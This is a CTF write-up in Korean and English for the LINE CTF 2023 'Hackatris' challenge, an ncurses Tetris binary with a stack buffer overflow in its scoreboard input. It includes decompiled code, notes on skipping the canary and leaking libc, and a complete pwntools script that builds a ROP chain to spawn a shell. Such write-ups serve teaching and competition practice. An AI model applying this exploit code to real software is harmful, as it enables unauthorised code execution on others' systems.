[CTF write up] LINE CTF 2023 - Hackatris : ncusre.h Tetris pwn

2023. 3. 26. 08:01CTF write up

 

Hackatris - 6 solves

Dice CTF 2023의 zelda와 마찬가지로 ncurse.h 라이브러리로 제작된 테트리스 게임이다. zelda 처럼 ncusre.h FSOP Exploit이 필요한 문제는 아니었고, 단순 버퍼오버플로우 취약점이었지만 ncurse.h 라이브러리로 짜여진 프로그램들 특유의 괴상한 인풋 / 아웃풋 때문에 고생했다.

 

Like zelda in Dice CTF 2023, it is a Tetris game made with the ncurse.h library. It was not a problem that required ncusre.h FSOP Exploit like zelda, it was a simple buffer overflow vulnerability, but I suffered from strange input / output peculiar to programs built with ncurse.h library.

 

 

 

unsigned __int64 show_scoreboard()
{
  char ch_; // [rsp+3h] [rbp-5Dh]
  char c; // [rsp+3h] [rbp-5Dh]
  char ca; // [rsp+3h] [rbp-5Dh]
  int v4; // [rsp+4h] [rbp-5Ch]
  WINDOW *v5; // [rsp+8h] [rbp-58h]
  char buf[72]; // [rsp+10h] [rbp-50h]
  unsigned __int64 v7; // [rsp+58h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  v4 = 0;
  wtimeout(_bss_start, 30000);
  echo();
  curs_set(1);
  v5 = newwin(10, 50, 10, 10);
  wborder(v5, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
  wattr_on(v5, 0x800uLL, 0LL);
  mvwprintw(v5, 2, 20, "New record!");
  wattr_off(v5, 0x800uLL, 0LL);
  mvwprintw(v5, 6, 5, "Score: %lu", score);
  mvwprintw(v5, 7, 5, "Reward: ");
  wrefresh(v5);
  while ( 1 )
  {
    ch_ = wgetch(v5);
    if ( ch_ > 0x2F && ch_ <= 0x39 )
    {
      c = ch_ - 48;
      if ( (v4 & 1) != 0 )
        buf[v4 / 2] |= c & 0xF;
      else
        buf[v4 / 2] = 16 * c;
      goto LABEL_13;
    }
    if ( ch_ <= 0x60 || ch_ > 0x7A )
      break;
    ca = ch_ - 97 + 10;
    if ( (v4 & 1) != 0 )
      buf[v4 / 2] |= ca & 0xF;
    else
      buf[v4 / 2] = 16 * ca;
LABEL_13:
    ++v4;
  }
  if ( ch_ != 10 )
    goto LABEL_13;
  return v7 - __readfsqword(0x28u);
}

취약점은 show_scoreboard 함수에 있다. 점수가 100점 이상 있을때 q를 입력해서 나가면, Reward: 에 무언가 입력할 수 있는 scoreboard 창이 생성된다. 여기서 스택 버퍼 오버플로우가 터진다. wgetch(v5)으로 받은 값을 요상한 로직을 통해서 buf 변수에 차곡차곡 쌓는데 이때 경계검사가 없다. 

 

여기서, 요상한 로직은 "a"*0x10을 입력받았을때 메모리에 0xaaaaaaaaaaaaaaaa 값을 쓰는 역할을 한다. 그래서 pwntools등을 이용하지 않아도 손으로 직접 주소 값을 입력해서 보낼 수 있다.  (show_scoreboard 함수에 접근하려면 최소 한번 이상 테트리스를 맞춰야하는데 이걸 코드로 짜기에는 꽤 힘들기 때문에 직접 손으로 푸는게 더 편하다. 만약 자동화 코드를 짠다고 하면 srand(time()) 크랙으로 나올 테트리스 모양을 예측하는 방법을 이용할 수 있을 것 같다.)

 

또한 1234567890abcdef 외의 값을 넣으면 메모리 쓰기를 하지 않고 v4를 늘리기만 하므로 이걸 이용해서 canary를 건너뛸 수도 있다.

 

The vulnerability is in the show_scoreboard function. If you type q to exit when the score is over 100, a scoreboard window is created where you can send something in Reward:. This is where a stack buffer overflow occurs. The value received by wgetch(v5) is piled up in the buf variable through strange logic, but there is no boundary check at this time.

Here, the strange logic plays the role of writing the value 0xaaaaaaaaaaaaaaaa into the memory when "a"*0x10 is input. So, without using pwntools or the like, you can manually enter the address value and send it. (To access the show_scoreboard function, you need to solve Tetris at least once, but it's quite hard to code this, so it's easier to solve it by hand. If you're writing an automation code, srand(time()) predicts the Tetris shape that will come out of the crack. I guess I can use it.)

Also, if you put a value other than 1234567890abcdef, you can skip the canary using this because v4 is only increased without memory write.

 

 

 

I hate misc pwn :(

해당 문제가 pwn, misc 분야인 이유는 libc leak에 있다. system 함수의 주소를 담은 포인터에 랜덤한 값을 붙이고 xor하여 테트리스 블록에 출력한다. 코드가 어지럽기 때문에 코드분석보다는 직접 출력값을 비교하면서  로직을 분석했다.

 

포인터에 붙는 랜덤 값은 Difficulty 값에 포함되므로 로직을 알아낸다면 값을 정확하게 알아낼 수 있다. rand() % 6 == 0  기준으로 아래의 순서로 값이 들어간다.

 

The reason why the problem is in the field of pwn and misc lies in the libc leak. A random value is attached to the pointer containing the address of the system function, and xor is performed to output it to the Tetris block. Since the code is messy, I analyzed the logic by directly comparing the output value rather than analyzing the code.

The random value attached to the pointer is included in the Difficulty value, so if you figure out the logic, you can accurately figure out the value. Based on rand() % 6 == 0, values are shown in the following order.

 

따라서 해당 9칸의 값을 전부 알아내면, 이를 0x41이랑 Xor하고 재배열 하여 system 함수의 주소를 구할 수 있다. 8, 7은 Null 바이트, 6은 0x7f, 1은 0x60 고정이므로 블록 몇개만으로도 전체 값을 얻어낼 수 있다. 하지만 rand() % 6 == 0 일때만 해당되는 순서기 때문에 Diffculty 값이 10배수로 끝날때 나오는 블럭만 사용할 수 있다.

 

따라서 해당 값을 통해 System 함수 주소를 계산하고 ROP 체인이 담긴 페이로드를 생성하는 코드를 짜둔 다음, 직접 특정 Diffculty 값마다 블럭의 값을 적어두고 미리 짜둔 코드에 대입하여 나온 페이로드를 Reward: 인풋에 넣으면 된다.

 

또한 추가적으로 몇가지 주의할 점이 있는데, 다음과 같다.

 

  • ROP는 show_scoreboard 함수 다음이 아니라 main이 끝날때 작동하게 만들어야 한다. 이는 canary를 우회할때 처럼 1234567890abcdef 외의 값을 넣어서 show_scoreboard의 RET를 건너뛰고 main의 RET부터 덮어쓰면 된다. 이유는 ncurse.h 라이브러리에 의해 stdin / stdout이 특수하게 동작하고 있기 때문에 main에 있는 endwin 함수를 실행시켜 정상적인 stdin / stdout 동작이 되도록 만들어야 한다. 안그러면 shell을 따도 커맨드를 입력하지 못한다.

 

  • stty raw -echo;nc 35.194.113.63 10004 이 아니라 그냥 nc 35.194.113.63 10004로 연결해야 Shell과 Interaction을 할 수 있는 것 같다. 이때, 그냥 nc로 연결할 경우 q를 했을때 입력을 받지 않고 그대로 종료하는 현상이 있는데, q + payload를 입력한다음 ENTER를 전송하면 제대로 payload가 입력된다.

 

 

Therefore, if you find out all the values of the corresponding 9 spaces, you can Xor them with 0x41 and rearrange them to get the address of the system function. Since 8 and 7 are null bytes, 6 is 0x7f, and 1 is fixed at 0x60, the entire value can be obtained with just a few blocks. However, since the sequence applies only when rand() % 6 == 0, only blocks that appear when the Diffculty value ends in a multiple of 10 can be used.

Therefore, after calculating the system function address through that value and creating a payload containing the ROP chain, write down the value of the block for each specific Diffculty value and substitute the resulting payload into the Reward: input just put it in

There are also a few additional things to note:

 

  • ROP should be made to work at the end of main, not after the show_scoreboard function. This can be done by skipping the RET of show_scoreboard and overwriting the RET of main by putting a value other than 1234567890abcdef as when bypassing the canary. The reason is that stdin / stdout are operated specially by the ncurse.h library, so you need to make the normal stdin / stdout operation by executing the endwin function in main. Otherwise, you cannot enter commands even after opening the shell.

 

  • stty raw -echo; nc 35.194.113.63 10004 does not work, and it seems that you need to connect to nc 35.194.113.63 10004 to interact with the shell. At this time, if you just connect with nc, there is a phenomenon that when you press q, you do not receive input and exit as it is. If you input q + payload and then transmit ENTER, the payload is properly entered.

 

 

from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#0x7ffff7d7cd60
a = input()
a += input()
a = a[:len(a)-1]

def rlist(str):
    x = "[0x"+str.replace(" ", ", 0x")+"]"
    rs = eval(x)
    return rs

a = rlist(a.replace("\n"," "))
a1 = [4-1, 5-1, 6-1, 1-1, 2-1, 3-1]

system_bytes = [0]*8

for i in range(len(a1)):
    a[i] = a[i] ^ 0x41
for i in range(len(a1)):
    system_bytes[a1[i]] = a[i]

system_rs = b""
for w in system_bytes:
    system_rs += w.to_bytes(1,'big')

system_addr = u64(system_rs)

#system_addr = int(input(),16)
pop_rdi = system_addr - libc.symbols['system'] + 0x000000000002a3e5
binsh = system_addr - libc.symbols['system'] + list(libc.search(b'/bin/sh'))[0]

print(f'system_addr : {hex(system_addr)}')
print(f'pop_rdi : {hex(pop_rdi)}')
print(f'binsh : {hex(binsh)}')

ROP_chain =  p64(pop_rdi) + p64(binsh) + p64(pop_rdi+1) + p64(system_addr)

pay = b'````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````'
pay += b'`'*(0x40*2)

for w in ROP_chain:
    a1 = (w & 0xf0) >> 4
    rs = (a1 + 48)

    if(rs > 0x2F and rs <= 0x39):
        pay += rs.to_bytes(1,'big')
    else:
        a1 = (w & 0xf0) >> 4
        rs = (a1 + 97 - 10)
        if( rs <= 0x60 or rs > 0x7A ):
            print('fail')
        pay += rs.to_bytes(1,'big')


    a2 = w & 0xf
    rs = (a2 + 48)

    if(rs > 0x2F and rs <= 0x39):
        pay += rs.to_bytes(1,'big')
    else:
        a2 = w & 0xf
        rs = (a2 + 97 - 10)
        if( rs <= 0x60 or rs > 0x7A ):
            print('fail')
        pay += rs.to_bytes(1,'big')

print(pay.decode())

 

 

solve